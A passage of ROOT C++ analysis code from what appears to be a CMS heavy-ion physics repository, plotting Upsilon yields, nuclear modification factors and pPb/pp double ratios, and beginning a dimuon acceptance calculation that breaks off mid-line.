gpt1pp->SetMarkerColor(kAzure+1);\n gpt1pp->SetMarkerStyle(21);\n gpt1pp->SetMarkerSize(1.2);\n TGraphErrors *gpt1circlepp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_pt,pte,CS1S_pp_pte);\n gpt1circlepp->SetMarkerStyle(25);\n gpt1circlepp->SetMarkerSize(1.22);\n gpt1circlepp->SetLineColor(kBlack);\n\n gpt1pp->Draw(\"pe\");\n gpt1circlepp->Draw(\"p\");\n f4Pt->Draw(\"same\");\n gPad->RedrawAxis();\n\n legend = new TLegend(0.482,0.84,0.88,0.7);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gpt1pp,\"#varUpsilon(1S), pp \",\"pe\");\n legend->AddEntry(gpt1,\"#varUpsilon(1S), PbPb \",\"pe\");\n\n legend->Draw();\n TLatex *l1CMSpt = new TLatex(8,0.0000000008, \"CMS Internal #sqrt{s_{NN}} = 2.76 TeV\");\n l1CMSpt->SetTextFont(42);\n l1CMSpt->SetTextSize(0.032);\n l1CMSpt->Draw();\n\n \n TLatex *lyL= new TLatex(2,0.0000000008,\"L_{PbPb} = 166 #mub^{-1}; |y| < 2.4\");\n \n lyL->SetTextSize(0.029);\n lyL->DrawLatex(2,0.0000000005,\"L_{pp} = 5.4 pb^{-1}; |y| < 2.4\");\n lyL->SetTextSize(0.029);\n lyL->DrawLatex(2,0.000000002,\"Raw Yields\");\n lyL->Draw();\n }\n\n if(plotRAA && plotUncorrected){\n TCanvas *cRaaptu = new TCanvas(\"cRaaptu\",\"cRaaptu\"); \n cRaaptu->cd();\n // TPad *ppt2 = new TPad(\"ppt2\",\"ppt2\",0.0,0.0,1.0,1.0);\n // ppt2->SetBottomMargin(0.12);\n // ppt2->SetTopMargin(0.03);\n // ppt2->SetRightMargin(0.03);\n // ppt2->SetLeftMargin(0.16);\n // ppt2->Draw();\n // ppt2->cd();\n //one pad to draw RaaPt!\n TF1 *f4RaaPt = new TF1(\"f4RaaPt\",\"1\",0,21);\n f4RaaPt->SetLineWidth(0);\n f4RaaPt->SetLineColor(kBlack);\n f4RaaPt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} \");\n f4RaaPt->GetYaxis()->SetTitle(\"uncorrected R_{AA}\");\n f4RaaPt->GetYaxis()->SetTitleOffset(1.8);\n f4RaaPt->GetYaxis()->SetTitleSize(0.028);\n f4RaaPt->GetYaxis()->SetRangeUser(0.,1);\n f4RaaPt->GetXaxis()->CenterTitle(kTRUE);\n f4RaaPt->Draw();\n TGraphErrors *gRaaPt1 = new TGraphErrors(nPtBins_2013,pt,uncorrRAA_1S_pt,pte,uncorrRAA_1S_pte);\n gRaaPt1->SetMarkerColor(8);\n gRaaPt1->SetMarkerStyle(33);\n gRaaPt1->SetMarkerSize(2);\n TGraphErrors *gRaaPt1circle = new TGraphErrors(nPtBins_2013,pt,uncorrRAA_1S_pt,pte,uncorrRAA_1S_pte);\n gRaaPt1circle->SetMarkerStyle(27);\n gRaaPt1circle->SetMarkerSize(2);\n gRaaPt1circle->SetLineColor(kBlack);\n gRaaPt1->Draw(\"pe\");\n gRaaPt1circle->Draw(\"p\");\n f4RaaPt->Draw(\"same\");\n TLatex *l1CMSpt = new TLatex(10,0.8, \"CMS Internal #sqrt{s_{NN}} = 2.76 TeV\");\n l1CMSpt->SetTextFont(42);\n l1CMSpt->SetTextSize(0.032);\n l1CMSpt->Draw();\n TLatex *lyLPT= new TLatex(10,0.6,\"L_{int}^{PbPb} = 166 #mub^{-1}; L_{int}^{pp} = 5.4 pb^{-1};\");\n lyLPT->SetTextSize(0.032);\n lyLPT->Draw();\n lyLPT->SetTextSize(0.04);\n lyLPT->DrawLatex(7,0.15,\"Uncorrected\");\n // ppt2->Update();\n gPad->RedrawAxis();\n\n TCanvas *cRaaptUnfold = new TCanvas(\"cRaaptUnfold\",\"cRaaptUnfold\"); \n cRaaptUnfold->cd();\n // TPad *ppt2 = new TPad(\"ppt2\",\"ppt2\",0.0,0.0,1.0,1.0);\n // ppt2->SetBottomMargin(0.12);\n // ppt2->SetTopMargin(0.03);\n // ppt2->SetRightMargin(0.03);\n // ppt2->SetLeftMargin(0.16);\n // ppt2->Draw();\n // ppt2->cd();\n TF1 *f4RaaPt = new TF1(\"f4RaaPt\",\"1\",0,21);\n f4RaaPt->SetLineWidth(0);\n f4RaaPt->SetLineColor(kBlack);\n f4RaaPt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} \");\n f4RaaPt->GetYaxis()->SetTitle(\"uncorrected, but unfolded R_{AA}\");\n f4RaaPt->GetYaxis()->SetTitleOffset(1.8);\n f4RaaPt->GetYaxis()->SetTitleSize(0.028);\n f4RaaPt->GetYaxis()->SetRangeUser(0.,1.3);\n f4RaaPt->GetXaxis()->CenterTitle(kTRUE);\n f4RaaPt->Draw();\n TGraphErrors *gRaaPt1 = new TGraphErrors(nPtBins_2013,pt,uncorrRAA_1S_pt,pte,uncorrRAA_1S_pte);\n gRaaPt1->SetMarkerColor(8);\n gRaaPt1->SetMarkerStyle(33);\n gRaaPt1->SetMarkerSize(2);\n TGraphErrors *gRaaPt1circle = new TGraphErrors(nPtBins_2013,pt,uncorrRAA_1S_pt,pte,uncorrRAA_1S_pte);\n gRaaPt1circle->SetMarkerStyle(27);\n gRaaPt1circle->SetMarkerSize(2);\n gRaaPt1circle->SetLineColor(kBlack);\n gRaaPt1->Draw(\"pe\");\n gRaaPt1circle->Draw(\"p\");\n\n TGraphErrors *gRaaPt1U = new TGraphErrors(nPtBins_2013,pt,uncorrRAA_1S_ptU,pte,uncorrRAA_1S_pteU);\n gRaaPt1U->SetMarkerColor(kBlue-3);\n gRaaPt1U->SetMarkerStyle(33);\n gRaaPt1U->SetMarkerSize(2);\n TGraphErrors *gRaaPt1Ucircle = new TGraphErrors(nPtBins_2013,pt,uncorrRAA_1S_ptU,pte,uncorrRAA_1S_pteU);\n gRaaPt1Ucircle->SetMarkerStyle(27);\n gRaaPt1Ucircle->SetMarkerSize(2);\n gRaaPt1Ucircle->SetLineColor(kBlack);\n gRaaPt1U->Draw(\"pe\");\n gRaaPt1Ucircle->Draw(\"p\");\n f4RaaPt->Draw(\"same\");\n TLatex *l1CMSpt = new TLatex(10,0.8, \"CMS Internal #sqrt{s_{NN}} = 2.76 TeV\");\n l1CMSpt->SetTextFont(42);\n l1CMSpt->SetTextSize(0.032);\n l1CMSpt->Draw();\n TLatex *lyLPT= new TLatex(10,0.6,\"L_{int}^{PbPb} = 166 #mub^{-1}; L_{int}^{pp} = 5.4 pb^{-1};\");\n lyLPT->SetTextSize(0.032);\n lyLPT->Draw();\n lyLPT->SetTextSize(0.04);\n lyLPT->DrawLatex(7,0.15,\"Uncorrected\");\n // ppt2->Update();\n legend = new TLegend(0.2,0.65,0.4,0.75);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gRaaPt1U,\"#varUpsilon(1S) unfolded\",\"pe\");\n legend->AddEntry(gRaaPt1,\"#varUpsilon(1S) raw\",\"pe\");\n legend->Draw();\n gPad->RedrawAxis();\n \n\n }\n\n\n if(plotUncorrected){\n TCanvas *crapu = new TCanvas(\"crapu\",\"crapu\"); \n crapu->cd();\n TPad *prap1 = new TPad(\"prap1\",\"prap1\",0.0,0.0,1.0,1.0);\n prap1->SetBottomMargin(0.12);\n prap1->SetTopMargin(0.03);\n prap1->SetRightMargin(0.03);\n prap1->SetLeftMargin(0.16);\n prap1->SetLogy();\n prap1->Draw();\n prap1->cd();\n TF1 *f4Rap = new TF1(\"f4Rap\",\"0.000000001\",0,2.45);\n f4Rap->SetLineWidth(0);\n f4Rap->GetYaxis()->SetTitleOffset(2);\n f4Rap->GetXaxis()->SetTitle(\"|y|\");\t\t\n f4Rap->GetYaxis()->SetTitle(\"#frac{1}{L_{pp,PbPb}}#frac{N}{#Delta_{y}} (b/(GeV/c))\");\n\n\n f4Rap->GetYaxis()->SetTitleSize(0.028);\n //f4Rap->GetYaxis()->SetRangeUser(0.01,.09);\n f4Rap->GetXaxis()->CenterTitle(kTRUE);\n f4Rap->Draw();\n //one pad to draw PbPb yields,\n TGraphErrors *grap1 = new TGraphErrors(nRapBins_2013,rap,CS1S_aa_rap2014,rape,CS1S_aa_rap2014e);\n grap1->SetMarkerColor(8);\n grap1->SetMarkerStyle(33);\n grap1->SetMarkerSize(2);\n\n\n\n TGraphErrors *grap1circle = new TGraphErrors(nRapBins_2013,rap,CS1S_aa_rap2014,rape,CS1S_aa_rap2014e);\n grap1circle->SetMarkerStyle(27);\n grap1circle->SetMarkerSize(2);\n grap1circle->SetLineColor(kBlack);\n grap1->Draw(\"pe\");\n grap1circle->Draw(\"p\");\n f4Rap->Draw(\"same\");\n gPad->RedrawAxis();\n \n TGraphErrors *grap1pp = new TGraphErrors(nRapBins_2014,rap,CS1S_pp_rap2014,rape,CS1S_pp_rap2014e);\n grap1pp->SetMarkerColor(kAzure+1);\n grap1pp->SetMarkerStyle(21);\n grap1pp->SetMarkerSize(1.2);\n TGraphErrors *grap1circlepp = new TGraphErrors(nRapBins_2014,rap,CS1S_pp_rap2014,rape,CS1S_pp_rap2014e);\n grap1circlepp->SetMarkerStyle(25);\n grap1circlepp->SetMarkerSize(1.22);\n grap1circlepp->SetLineColor(kBlack);\n grap1pp->Draw(\"pe\");\n grap1circlepp->Draw(\"p\");\n f4Rap->Draw(\"same\");\n gPad->RedrawAxis();\n\n legend = new TLegend(0.482,0.84,0.88,0.7);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(grap1pp,\"#varUpsilon(1S), pp \",\"pe\");\n legend->AddEntry(grap1,\"#varUpsilon(1S), PbPb \",\"pe\");\n\n legend->Draw();\n TLatex *l1CMSrap = new TLatex(0.8,0.0000000008, \"CMS Internal #sqrt{s_{NN}} = 2.76 TeV\");\n l1CMSrap->SetTextFont(42);\n l1CMSrap->SetTextSize(0.032);\n l1CMSrap->Draw();\n\n \n TLatex *lyL= new TLatex(1.2,0.0000000008,\"L_{PbPb} = 166 #mub^{-1}; |y| < 2.4\");\n \n lyL->SetTextSize(0.029);\n lyL->DrawLatex(1.2,0.0000000005,\"L_{pp} = 5.4 pb^{-1}; |y| < 2.4\");\n lyL->SetTextSize(0.029);\n lyL->DrawLatex(1.2,0.000000002,\"Raw Yields\");\n lyL->Draw();\n }\n\n\n if (plotUncorrected && plotRAA){\n // Uncorrected ratio of Rapidity-binned Cross-Sections\n \n TCanvas *cRaarapu = new TCanvas(\"cRaarapu\",\"cRaarapu\"); \n cRaarapu->cd();\n TPad *prap2 = new TPad(\"prap2\",\"prap2\",0.0,0.0,1.0,1.0);\n prap2->SetBottomMargin(0.12);\n prap2->SetTopMargin(0.03);\n prap2->SetRightMargin(0.03);\n prap2->SetLeftMargin(0.16);\n prap2->Draw();\n prap2->cd();\n //one pad to draw RaaRap!\n TF1 *f4RaaRap = new TF1(\"f4RaaRap\",\"1\",0,2.45);\n f4RaaRap->SetLineWidth(0);\n f4RaaRap->GetXaxis()->SetTitle(\"|y| \");\n f4RaaRap->GetYaxis()->SetTitle(\"uncorrected R_{AA}\");\n f4RaaRap->GetYaxis()->SetTitleOffset(1.8);\n f4RaaRap->GetYaxis()->SetTitleSize(0.028);\n f4RaaRap->GetYaxis()->SetRangeUser(0.,1);\n f4RaaRap->GetXaxis()->CenterTitle(kTRUE);\n f4RaaRap->Draw();\n TGraphErrors *gRaaRap1 = new TGraphErrors(nRapBins_2014,rap2014,uncorrRAA_1S_rap2014,rap2014e,uncorrRAA_1S_rap2014e);\n gRaaRap1->SetMarkerColor(8);\n gRaaRap1->SetMarkerStyle(33);\n gRaaRap1->SetMarkerSize(2);\n TGraphErrors *gRaaRap1circle = new TGraphErrors(nRapBins_2014,rap2014,uncorrRAA_1S_rap2014,rap2014e,uncorrRAA_1S_rap2014e);\n gRaaRap1circle->SetMarkerStyle(27);\n gRaaRap1circle->SetMarkerSize(2);\n gRaaRap1circle->SetLineColor(kBlack);\n gRaaRap1->Draw(\"pe\");\n gRaaRap1circle->Draw(\"p\");\n f4RaaRap->Draw(\"same\");\n TLatex *l1CMSrap = new TLatex(1,0.8, \"CMS Internal PbPb #sqrt{s_{NN}} = 2.76 TeV\");\n l1CMSrap->SetTextFont(42);\n l1CMSrap->SetTextSize(0.032);\n l1CMSrap->Draw();\n TLatex *lyLRAP= new TLatex(1,0.6,\"L_{int}^{PbPb} = 166 #mub^{-1}; L_{int}^{pp} = 5.4 pb^{-1};\");\n lyLRAP->SetTextSize(0.032);\n lyLRAP->Draw();\n lyLRAP->SetTextSize(0.04);\n lyLRAP->DrawLatex(0.7,0.15,\"Uncorrected\");\n prap2->Update();\n \n gPad->RedrawAxis();\n }\n\n\n }\n\n\n\n\n\nvoid plotDoubleRatios()\n{\n float pt2014 [nPtBins_2014] = {1.25, 3.75, 6.5, 10., 16.,30};\n float pt2014e[nPtBins_2014] = {1.25, 1.25, 1.5, 2., 4.,10.};\n float doubleRatio3S1S[nPtBins_2014];\n float doubleRatio3S1Se[nPtBins_2014];\n float doubleRatio2S1S[nPtBins_2014];\n float doubleRatio2S1Se[nPtBins_2014];\n float ppSingleRatio3S1S[nPtBins_2014];\n float ppSingleRatio3S1Se[nPtBins_2014];\n float ppSingleRatio2S1S[nPtBins_2014];\n float ppSingleRatio2S1Se[nPtBins_2014];\n float paSingleRatio3S1S[nPtBins_2014];\n float paSingleRatio3S1Se[nPtBins_2014];\n float paSingleRatio2S1S[nPtBins_2014];\n float paSingleRatio2S1Se[nPtBins_2014];\n \n for(int i=0 ; i<nPtBins_2014 ; i++){\n ppSingleRatio2S1S[i]=computeRatio(N2S_pp_m146p239pt3p5[i],N1S_pp_m146p239pt3p5[i]);\n paSingleRatio2S1S[i]=computeRatio(N2S_pa_pt3p5[i],N1S_pa_pt3p5[i]);\n ppSingleRatio3S1S[i]=computeRatio(N3S_pp_m146p239pt3p5[i],N1S_pp_m146p239pt3p5[i]);\n paSingleRatio3S1S[i]=computeRatio(N3S_pa_pt3p5[i],N1S_pa_pt3p5[i]);\n \n ppSingleRatio2S1Se[i]= computeRatioError(N2S_pp_m146p239pt3p5[i],N1S_pp_m146p239pt3p5[i],N2S_pp_m146p239pt3p5e[i],N1S_pp_m146p239pt3p5e[i]);\n paSingleRatio2S1Se[i]= computeRatioError(N2S_pa_pt3p5[i],N1S_pa_pt3p5[i],N2S_pa_pt3p5e[i],N1S_pa_pt3p5e[i]);\n ppSingleRatio3S1Se[i]= computeRatioError(N3S_pp_m146p239pt3p5[i],N1S_pp_m146p239pt3p5[i],N3S_pp_m146p239pt3p5e[i],N1S_pp_m146p239pt3p5e[i]);\n paSingleRatio3S1Se[i]= computeRatioError(N3S_pa_pt3p5[i],N1S_pa_pt3p5[i],N3S_pa_pt3p5e[i],N1S_pa_pt3p5e[i]);\n \n doubleRatio2S1S[i]= computeRatio(paSingleRatio2S1S[i],ppSingleRatio2S1S[i]);\n doubleRatio3S1S[i]= computeRatio(paSingleRatio3S1S[i],ppSingleRatio3S1S[i]);\n doubleRatio2S1Se[i]= computeRatioError(paSingleRatio2S1S[i],ppSingleRatio2S1S[i],paSingleRatio2S1Se[i],ppSingleRatio2S1Se[i]);\n doubleRatio3S1Se[i]= computeRatioError(paSingleRatio3S1S[i],ppSingleRatio3S1S[i],paSingleRatio3S1Se[i],ppSingleRatio3S1Se[i]);\n\n cout <<\"pA/pp 2s/1s = \"<< doubleRatio2S1S[i] <<\" \\\\pm \"<< doubleRatio2S1Se[i]<< endl;\n cout <<\"pA/pp 3s/1s = \"<< doubleRatio3S1S[i] <<\" \\\\pm \"<< doubleRatio3S1Se[i]<< endl;\n }\n TCanvas *cDRpt = new TCanvas(\"cDRpt\",\"cDRpt\"); \n cDRpt->cd();\n // TPad *ppt2 = new TPad(\"ppt2\",\"ppt2\",0.0,0.0,1.0,1.0);\n // ppt2->SetBottomMargin(0.12);\n // ppt2->SetTopMargin(0.03);\n // ppt2->SetRightMargin(0.03);\n // ppt2->SetLeftMargin(0.16);\n // ppt2->Draw();\n // ppt2->cd();\n //one pad to draw RaaPt!\n TF1 *f4DRPt = new TF1(\"f4DRPt\",\"1\",0,40.5);\n f4DRPt->SetLineWidth(0);\n f4DRPt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\n f4DRPt->GetYaxis()->SetTitle(\"DOUBLE RATIOS\");\n f4DRPt->GetYaxis()->SetTitleOffset(1.8);\n f4DRPt->GetYaxis()->SetTitleSize(0.028);\n f4DRPt->GetYaxis()->SetRangeUser(0.,1.4);\n f4DRPt->GetXaxis()->CenterTitle(kTRUE);\n f4DRPt->Draw();\n TGraphErrors *gDRPt2 = new TGraphErrors(nPtBins_2014,pt2014,doubleRatio2S1S,pt2014e,doubleRatio2S1Se);\n gDRPt2->SetMarkerColor(kBlue+7);\n gDRPt2->SetMarkerStyle(33);\n gDRPt2->SetMarkerSize(2);\n TGraphErrors *gDRPt2circle = new TGraphErrors(nPtBins_2014,pt2014,doubleRatio2S1S,pt2014e,doubleRatio2S1Se);\n gDRPt2circle->SetMarkerStyle(27);\n gDRPt2circle->SetMarkerSize(2);\n gDRPt2circle->SetLineColor(kBlack);\n gDRPt2->Draw(\"pe\");\n gDRPt2circle->Draw(\"p\");\n f4DRPt->Draw(\"same\");\n TGraphErrors *gDRPt3 = new TGraphErrors(nPtBins_2014,pt2014,doubleRatio3S1S,pt2014e,doubleRatio3S1Se);\n gDRPt3->SetMarkerColor(kBlue+2);\n gDRPt3->SetMarkerStyle(33);\n gDRPt3->SetMarkerSize(2);\n TGraphErrors *gDRPt3circle = new TGraphErrors(nPtBins_2014,pt2014,doubleRatio3S1S,pt2014e,doubleRatio3S1Se);\n gDRPt3circle->SetMarkerStyle(27);\n gDRPt3circle->SetMarkerSize(2);\n gDRPt3circle->SetLineColor(kBlack);\n gDRPt3->Draw(\"pe\");\n gDRPt3circle->Draw(\"p\");\n f4DRPt->Draw(\"same\");\n TLatex *l1CMSpt = new TLatex(2,1.32, \"CMS - Work in progress\");\n l1CMSpt->SetTextFont(42);\n l1CMSpt->SetTextSize(0.032);\n l1CMSpt->Draw();\n l1CMSpt->DrawLatex(2,1.25,\"#sqrt{s} = 2.76 TeV, #sqrt{s_{NN}} = 5.02 TeV\");\n l1CMSpt->DrawLatex(2,1.18,\"-1.47 < |y_{C.M.}| < 2.4\");\n TLatex *lyLPT= new TLatex(2,1.1,\"2013 L_{int}^{pPb} = 18.4 nb^{-1}, 2013 L_{int}^{pp} = 5.4 pb^{-1}\"); // \n lyLPT->SetTextFont(42);\n lyLPT->SetTextSize(0.027);\n lyLPT->Draw();\n gPad->RedrawAxis();\n\n legend = new TLegend(0.6,0.21,0.8,0.4);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gDRPt2,\"#varUpsilon(2S)/#varUpsilon(1S) pPb/pp\",\"pe\");\n legend->AddEntry(gDRPt3,\"#varUpsilon(3S)/#varUpsilon(1S) pPb/pp\",\"pe\");\n legend->Draw();\n\n gPad->RedrawAxis();\n cDRpt->SaveAs(\"~/Project/ups2013/code/pdfOutput/DoubleRatiosPA.pdf\");\n /////////////// pPb vs,RATIOS\n \n TCanvas *cSRpt = new TCanvas(\"cSRpt\",\"cSRpt\"); \n cSRpt->cd();\n // TPad *ppt2 = new TPad(\"ppt2\",\"ppt2\",0.0,0.0,1.0,1.0);\n // ppt2->SetBottomMargin(0.12);\n // ppt2->SetTopMargin(0.03);\n // ppt2->SetRightMargin(0.03);\n // ppt2->SetLeftMargin(0.16);\n // ppt2->Draw();\n // ppt2->cd();\n\n //one pad to draw RaaPt!\n TF1 *f4SRPt = new TF1(\"f4SRPt\",\"1\",0,40.5);\n f4SRPt->SetLineWidth(0);\n f4SRPt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\n f4SRPt->GetYaxis()->SetTitle(\"SINGLE ratios\");\n f4SRPt->GetYaxis()->SetTitleOffset(1.8);\n f4SRPt->GetYaxis()->SetTitleSize(0.028);\n f4SRPt->GetYaxis()->SetRangeUser(0.,1.);\n f4SRPt->GetXaxis()->CenterTitle(kTRUE);\n f4SRPt->Draw();\n TGraphErrors *gSRPt2pa = new TGraphErrors(nPtBins_2014,pt2014,paSingleRatio2S1S,pt2014e,paSingleRatio2S1Se);\n gSRPt2pa->SetMarkerColor(kAzure+1);\n gSRPt2pa->SetMarkerStyle(20);\n gSRPt2pa->SetMarkerSize(1.2);\n TGraphErrors *gSRPt2pacircle = new TGraphErrors(nPtBins_2014,pt2014,paSingleRatio2S1S,pt2014e,paSingleRatio2S1Se);\n gSRPt2pacircle->SetMarkerStyle(24);\n gSRPt2pacircle->SetMarkerSize(1.2);\n gSRPt2pacircle->SetLineColor(kBlack);\n gSRPt2pa->Draw(\"pe\");\n gSRPt2pacircle->Draw(\"p\");\n f4SRPt->Draw(\"same\");\n TGraphErrors *gSRPt3pa = new TGraphErrors(nPtBins_2014,pt2014,paSingleRatio3S1S,pt2014e,paSingleRatio3S1Se);\n gSRPt3pa->SetMarkerColor(kGreen);\n gSRPt3pa->SetMarkerStyle(21);\n gSRPt3pa->SetMarkerSize(1.2);\n TGraphErrors *gSRPt3pacircle = new TGraphErrors(nPtBins_2014,pt2014,paSingleRatio3S1S,pt2014e,paSingleRatio3S1Se);\n gSRPt3pacircle->SetMarkerStyle(25);\n gSRPt3pacircle->SetMarkerSize(1.2);\n gSRPt3pacircle->SetLineColor(kBlack);\n gSRPt3pa->Draw(\"pe\");\n gSRPt3pacircle->Draw(\"p\");\n f4SRPt->Draw(\"same\");\n\n\n TGraphErrors *gSRPt2pp = new TGraphErrors(nPtBins_2014,pt2014,ppSingleRatio2S1S,pt2014e,ppSingleRatio2S1Se);\n gSRPt2pp->SetMarkerColor(kViolet);\n gSRPt2pp->SetMarkerStyle(20);\n gSRPt2pp->SetMarkerSize(1.2);\n TGraphErrors *gSRPt2ppcircle = new TGraphErrors(nPtBins_2014,pt2014,ppSingleRatio2S1S,pt2014e,ppSingleRatio2S1Se);\n gSRPt2ppcircle->SetMarkerStyle(24);\n gSRPt2ppcircle->SetMarkerSize(1.2);\n gSRPt2ppcircle->SetLineColor(kBlack);\n gSRPt2pp->Draw(\"pe\");\n gSRPt2ppcircle->Draw(\"p\");\n f4SRPt->Draw(\"same\");\n TGraphErrors *gSRPt3pp = new TGraphErrors(nPtBins_2014,pt2014,ppSingleRatio3S1S,pt2014e,ppSingleRatio3S1Se);\n gSRPt3pp->SetMarkerColor(color1Sraa);\n gSRPt3pp->SetMarkerStyle(21);\n gSRPt3pp->SetMarkerSize(1.2);\n TGraphErrors *gSRPt3ppcircle = new TGraphErrors(nPtBins_2014,pt2014,ppSingleRatio3S1S,pt2014e,ppSingleRatio3S1Se);\n gSRPt3ppcircle->SetMarkerStyle(25);\n gSRPt3ppcircle->SetMarkerSize(1.2);\n gSRPt3ppcircle->SetLineColor(kBlack);\n gSRPt3pp->Draw(\"pe\");\n gSRPt3ppcircle->Draw(\"p\");\n f4SRPt->Draw(\"same\");\n TLatex *l1CMSpt = new TLatex(2,0.92, \"CMS - Work in progress\");\n l1CMSpt->SetTextFont(42);\n l1CMSpt->SetTextSize(0.032);\n l1CMSpt->Draw();\n l1CMSpt->DrawLatex(2,0.87,\"#sqrt{s} = 2.76 TeV, #sqrt{s_{NN}} = 5.02 TeV\");\n l1CMSpt->DrawLatex(2,0.81,\"-1.47 < |y_{C.M.}| < 2.4\");\n TLatex *lyLPT= new TLatex(2,0.75,\"2013 L_{int}^{pPb} = 18.4 nb^{-1}, 2013 L_{int}^{pp} = 5.4 pb^{-1}\"); // \n lyLPT->SetTextFont(42);\n lyLPT->SetTextSize(0.027);\n lyLPT->Draw();\n gPad->RedrawAxis();\n\n legend = new TLegend(0.2,0.5,0.5,0.7);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gSRPt2pp,\"#varUpsilon(2S)/#varUpsilon(1S) pp\",\"pe\");\n legend->AddEntry(gSRPt2pa,\"#varUpsilon(2S)/#varUpsilon(1S) pPb \",\"pe\");\n legend->AddEntry(gSRPt3pp,\"#varUpsilon(3S)/#varUpsilon(1S) pp\",\"pe\");\n legend->AddEntry(gSRPt3pa,\"#varUpsilon(3S)/#varUpsilon(1S) pPb\",\"pe\");\n legend->Draw();\n\n gPad->RedrawAxis();\ncSRpt->SaveAs(\"~/Project/ups2013/code/pdfOutput/SingleRatiosPPandPA.pdf\");\n}\n\nvoid combine_blue(double val1, double err1, double val2, double err2)\n{\n double w1 = err2*err2/(err1*err1+err2*err2);\n double w2 = err1*err1/(err1*err1+err2*err2);\n\n cout << w1*val1+w2*val2 << \"\\\\pm\" << err1*err2/sqrt(err1*err1+err2*err2) << endl;\n}\n\n/// ///////\n// q 0.13 +/- 0.04 +/- 0.02 +/- 0.01 psi2S 0-100\n// qqqqq 0.28 +/- 0.04 +/- 0.02 psi 0-100\n// q 0.67 +/- psi2S fwd\n// 0.40 +/- jsi fwd\n// q\n// q\n// q\n// q\n" }, { "alpha_fraction": 0.5690914392471313, "alphanum_fraction": 0.6040023565292358, "avg_line_length": 32.891090393066406, "blob_id": "775c32aaed7ac72aad4c2651bc45513bc4f5722c", "content_id": "58c4fb72861a4082b001d5b299441e2a62717929", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6846, "license_type": "no_license", "max_line_length": 149, "num_lines": 202, "path": "/acceptance_efficiency/acceptance.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#define acceptance_cxx\n#include \"acceptance.h\"\n#include <TH2.h>\n#include <TStyle.h>\n#include <TCanvas.h>\n#include <iostream>\n\n#define NPT1S 5\n#define NRAP1S 6\n#define NCENT1S 8\n\n#define NPT2S 3\n#define NRAP2S 2\n#define NCENT2S 4\n\n#define DRCUT 0.5\n\nusing namespace std;\n\nconst double ptbins_1S[NPT1S+1] = {0,2.5,5,8,12,20};\nconst double rapbins_1S[NRAP1S+1] = {0,0.4,0.8,1.2,1.6,2,2.4};\n\nconst double ptbins_2S[NPT2S+1] = {0,5,12,20};\nconst double rapbins_2S[NRAP2S+1] = {0,1.2,2.4};\n\nvoid acceptance::Loop(int YS, bool ispbpb)\n{\n// In a ROOT session, you can do:\n// Root > .L acceptance.C\n// Root > acceptance t\n// Root > t.GetEntry(12); // Fill t data members with entry number 12\n// Root > t.Show(); // Show values of entry 12\n// Root > t.Show(16); // Read and show values of entry 16\n// Root > t.Loop(); // Loop on all entries\n//\n\n// This is the loop skeleton where:\n// jentry is the global entry number in the chain\n// ientry is the entry number in the current Tree\n// Note that the argument to GetEntry must be:\n// jentry for TChain::GetEntry\n// ientry for TTree::GetEntry and TBranch::GetEntry\n//\n// To read only selected branches, Insert statements like:\n// METHOD1:\n// fChain->SetBranchStatus(\"*\",0); // disable all branches\n// fChain->SetBranchStatus(\"branchname\",1); // activate branchname\n// METHOD2: replace line\n// fChain->GetEntry(jentry); //read all branches\n//by b_branchname->GetEntry(ientry); //read only this branch\n if (fChain == 0) return;\n\n Long64_t nentries = fChain->GetEntriesFast();\n\n double den_pt_NS[NPT1S+1] = {0};\n double den_rap_NS[NRAP1S+1] = {0};\n double denerr_pt_NS[NPT1S+1] = {0};\n double denerr_rap_NS[NRAP1S+1] = {0};\n\n double num_pt_NS[NPT1S+1] = {0};\n double num_rap_NS[NRAP1S+1] = {0};\n double numerr_pt_NS[NPT1S+1] = {0};\n double numerr_rap_NS[NRAP1S+1] = {0};\n\n const unsigned int NPTNS = !ispbpb || YS==1 ? NPT1S : NPT2S;\n const unsigned int NRAPNS = !ispbpb || YS==1 ? NRAP1S : NRAP2S;\n\n const double *ptbins_NS = !ispbpb || YS==1 ? ptbins_1S : ptbins_2S;\n const double *rapbins_NS = !ispbpb || YS==1 ? rapbins_1S : rapbins_2S;\n\n TFile *f = new TFile(\"acc_output.root\",\"RECREATE\");\n TH1F *haccpt = new TH1F(\"haccpt\",\"haccpt\",NPTNS,ptbins_NS);\n TH1F *haccrap = new TH1F(\"haccrap\",\"haccrap\",NRAPNS,rapbins_NS);\n\n Long64_t nbytes = 0, nb = 0;\n for (Long64_t jentry=0; jentry<nentries;jentry++) {\n Long64_t ientry = LoadTree(jentry);\n if (ientry < 0) break;\n nb = fChain->GetEntry(jentry); nbytes += nb;\n // if (Cut(ientry) < 0) continue;\n\n double weight = weight_shape(GenJpsiPtP,YS);\n\n if (GenJpsiPtP<ptbins_NS[0] || GenJpsiPtP>ptbins_NS[NPTNS]) continue;\n if (GenJpsiRapP<rapbins_NS[0] || GenJpsiRapP>rapbins_NS[NRAPNS]) continue;\n\n for (unsigned int ibin=0; ibin<NPTNS+1; ibin++)\n {\n if (ibin!=0 && (GenJpsiPtP<ptbins_NS[ibin-1] || GenJpsiPtP>ptbins_NS[ibin])) continue;\n den_pt_NS[ibin] += weight;\n denerr_pt_NS[ibin] += weight*weight;\n if ((YS==1 && smuacc_loose(sqrt(pow(GenmuPosPx,2)+pow(GenmuPosPy,2)),GenmuPosEta,sqrt(pow(GenmuNegPx,2)+pow(GenmuNegPy,2)),GenmuNegEta)) || \n (YS!=1 && 